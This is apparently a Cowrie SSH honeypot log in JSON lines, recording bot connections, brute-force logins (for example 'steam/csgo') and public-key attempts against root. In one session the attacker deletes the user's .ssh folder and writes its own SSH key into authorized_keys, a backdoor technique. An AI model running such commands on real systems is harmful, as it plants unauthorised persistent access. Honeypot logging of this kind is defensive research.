{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHUKKcS+zlIHOeAqpvErmzGaQ1YXTTfskujBIW18QR4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.362993Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHUKKcS+zlIHOeAqpvErmzGaQ1YXTTfskujBIW18QR4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.367324Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh1N1a7PirWMmxHxJZmQSSYbx28VtVprEpfzBP98g8GGLcwwtLGjzCb1LHdzMX8SDnffHVYbRchYDsMK2AjPQAMZfXHyTiARXO29ylOfjgmECaAOHwy5G3Mhypqm6Ud/Ow9L8Av9ydEVGwDUZA5bvEOiYP85CWGG5GaG4vVg1bRCHoTQWxHVC/fEP2pX0Kn6B0+UlcME+JLJjdu7+BglYImw9a8DNJN2BR9oZGUxIN/HzxjakIYR/9QSqlZdyJiDls5dYGenuX8O1FFG/DezTh/u+af2kJjm3CDjExef9b+mJ9f/aLd4myyZLHwFSrjeijUMlgixApcZnwhnEg6M4n2iMIXvL2OJTG0+An2vWvMUFSq27AK/qGB0oq8ogHFIzdd8CtdViBrRlBAO1/73WZqDdBYAamz11jxMyXdHJyPTBuAjzefKIgA6gdPnxOW+oJp6OQ92PQLdgfb8KUycSU6j48CuuHlK9byBsXkylJKxGMAaOVnMvEgh+GdkFvBq6g0MpTnI5u2I7+MW1QkKsXowrMTQP2zbcm9kTd63MkYMGviq5TFLRwmEzBbjvUsorTg7ylMpVxzq26h08+bFdx6owPZ/J4q9E/gUaEHWqzyqQWofR2tdMY03mfzyX8KYinXzQMDligV2Y2BpfRjE8OP4N+fCb4TRrRX2CBWu4yXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.437568Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh1N1a7PirWMmxHxJZmQSSYbx28VtVprEpfzBP98g8GGLcwwtLGjzCb1LHdzMX8SDnffHVYbRchYDsMK2AjPQAMZfXHyTiARXO29ylOfjgmECaAOHwy5G3Mhypqm6Ud/Ow9L8Av9ydEVGwDUZA5bvEOiYP85CWGG5GaG4vVg1bRCHoTQWxHVC/fEP2pX0Kn6B0+UlcME+JLJjdu7+BglYImw9a8DNJN2BR9oZGUxIN/HzxjakIYR/9QSqlZdyJiDls5dYGenuX8O1FFG/DezTh/u+af2kJjm3CDjExef9b+mJ9f/aLd4myyZLHwFSrjeijUMlgixApcZnwhnEg6M4n2iMIXvL2OJTG0+An2vWvMUFSq27AK/qGB0oq8ogHFIzdd8CtdViBrRlBAO1/73WZqDdBYAamz11jxMyXdHJyPTBuAjzefKIgA6gdPnxOW+oJp6OQ92PQLdgfb8KUycSU6j48CuuHlK9byBsXkylJKxGMAaOVnMvEgh+GdkFvBq6g0MpTnI5u2I7+MW1QkKsXowrMTQP2zbcm9kTd63MkYMGviq5TFLRwmEzBbjvUsorTg7ylMpVxzq26h08+bFdx6owPZ/J4q9E/gUaEHWqzyqQWofR2tdMY03mfzyX8KYinXzQMDligV2Y2BpfRjE8OP4N+fCb4TRrRX2CBWu4yXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.441334Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIme701lGxBNRagW92lttdymCn9l3CcX4XKfTXldoKrow7CQYHXOP+tNCF7ByJIrvce7U2COQ7ornKOssHvdfkR37I63kOo64YCWLHBlA9gmwJzoeXVXg5iiR1TMQKu7uyuHeUYhKNQpR6cQnjO0b3NRFN3KbB7FgMGIrVTvWoZDAAAAFQCd2OrBw6Z6xqqwipd6lPEJL8yCZQAAAIAnHJQ2aSAoHzUDaJLIjMvoFFsUTSGrlHjUjhYhmxPspGdQxC7X/5rxYwwdX4q4xFb5YOFOV/qWffNrsNk3Qsb/lljS13b630qIf0flYZx+4+ogzpt4tqT5XzpjYAzHkH65oT4rMg3UWj3dd2MzeNuQWdhvt27pXPkXky1xiw2dEwAAAIB2WvIk36Ma1QCeaindhbGlHYKimN5BjC+J/cBv0YqPzUuS4j3CjYRNE7XzrZYwQIsZB8HxgG7IVDLxGXTY2dtbVyVBVBhUk2eM/XL6odDRvgZMAwNQYHIOKKap+La+rZWYu/Izl1OnsALzKkn4olBmOT2O+9KlGhdvBFjF122ytQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.510163Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIme701lGxBNRagW92lttdymCn9l3CcX4XKfTXldoKrow7CQYHXOP+tNCF7ByJIrvce7U2COQ7ornKOssHvdfkR37I63kOo64YCWLHBlA9gmwJzoeXVXg5iiR1TMQKu7uyuHeUYhKNQpR6cQnjO0b3NRFN3KbB7FgMGIrVTvWoZDAAAAFQCd2OrBw6Z6xqqwipd6lPEJL8yCZQAAAIAnHJQ2aSAoHzUDaJLIjMvoFFsUTSGrlHjUjhYhmxPspGdQxC7X/5rxYwwdX4q4xFb5YOFOV/qWffNrsNk3Qsb/lljS13b630qIf0flYZx+4+ogzpt4tqT5XzpjYAzHkH65oT4rMg3UWj3dd2MzeNuQWdhvt27pXPkXky1xiw2dEwAAAIB2WvIk36Ma1QCeaindhbGlHYKimN5BjC+J/cBv0YqPzUuS4j3CjYRNE7XzrZYwQIsZB8HxgG7IVDLxGXTY2dtbVyVBVBhUk2eM/XL6odDRvgZMAwNQYHIOKKap+La+rZWYu/Izl1OnsALzKkn4olBmOT2O+9KlGhdvBFjF122ytQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.513648Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.582376Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":6579,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0c8103072a3","protocol":"ssh","message":"New connection: 74.87.117.146:6579 (10.17.0.5:22) [session: a0c8103072a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:00.905096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:00.910565Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:00.936067Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"csgo","message":"login attempt [steam/csgo] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.064934Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.156754Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.160725Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.165066Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.199719Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.290880Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.294757Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.327040Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.331391Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":51346,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc1f40fa9d96","protocol":"ssh","message":"New connection: 74.87.117.146:51346 (10.17.0.5:22) [session: cc1f40fa9d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.347426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.351802Z","src_ip":"74.87.117.146","session":"cc1f40fa9d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.378693Z","src_ip":"74.87.117.146","session":"cc1f40fa9d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:01.516838Z","src_ip":"74.87.117.146","session":"cc1f40fa9d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.546996Z","src_ip":"74.87.117.146","session":"cc1f40fa9d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":17519,"dst_ip":"10.17.0.5","dst_port":22,"session":"f233af68deaf","protocol":"ssh","message":"New connection: 74.87.117.146:17519 (10.17.0.5:22) [session: f233af68deaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.568087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.573673Z","src_ip":"74.87.117.146","session":"f233af68deaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.610621Z","src_ip":"74.87.117.146","session":"f233af68deaf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.744017Z","src_ip":"74.87.117.146","session":"f233af68deaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.779062Z","src_ip":"74.87.117.146","session":"a0c8103072a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:02.794403Z","src_ip":"74.87.117.146","session":"f233af68deaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.218","src_port":57832,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ee1afc487c","protocol":"ssh","message":"New connection: 96.127.172.218:57832 (10.17.0.5:22) [session: 80ee1afc487c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:15.805760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:15.811432Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:15.840829Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:cd:e4:dc:93:1b:5e:a5:a4:21:14:70:77:d4:b1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ8pOO/84+ZXYRaXBEONn5WrQZrTAQn0Bu13P3tw8yWijMhoBxZCwgCTpwDQyrGsaAduv/XXJIPGKYw/KJT2rAy+Jkslj9o1NZy8bSTJ5l1lpzB5e6RUFUJ/LC4/vFzH6E2SBlX+V9XlNAoKqGLqNY0LIbI9rH0nnTUZ4xkXslSnmkdi0qtR/veeFYEs7rv/VmDz0oiOv2JqkbnAqmrMOcOARDHvSzkaQ5154xUU9rsS2/bSuCX1a2QBHZ47e38fAY/lc1Pi5aRf0mGETAQxw8vp+r+LDkvRine6Bp9bYTo7xh7UWnZ7ovH2WruYj/U+wP3GF92zU8KuRkiMR4u/xl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:cd:e4:dc:93:1b:5e:a5:a4:21:14:70:77:d4:b1:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:15.982355Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
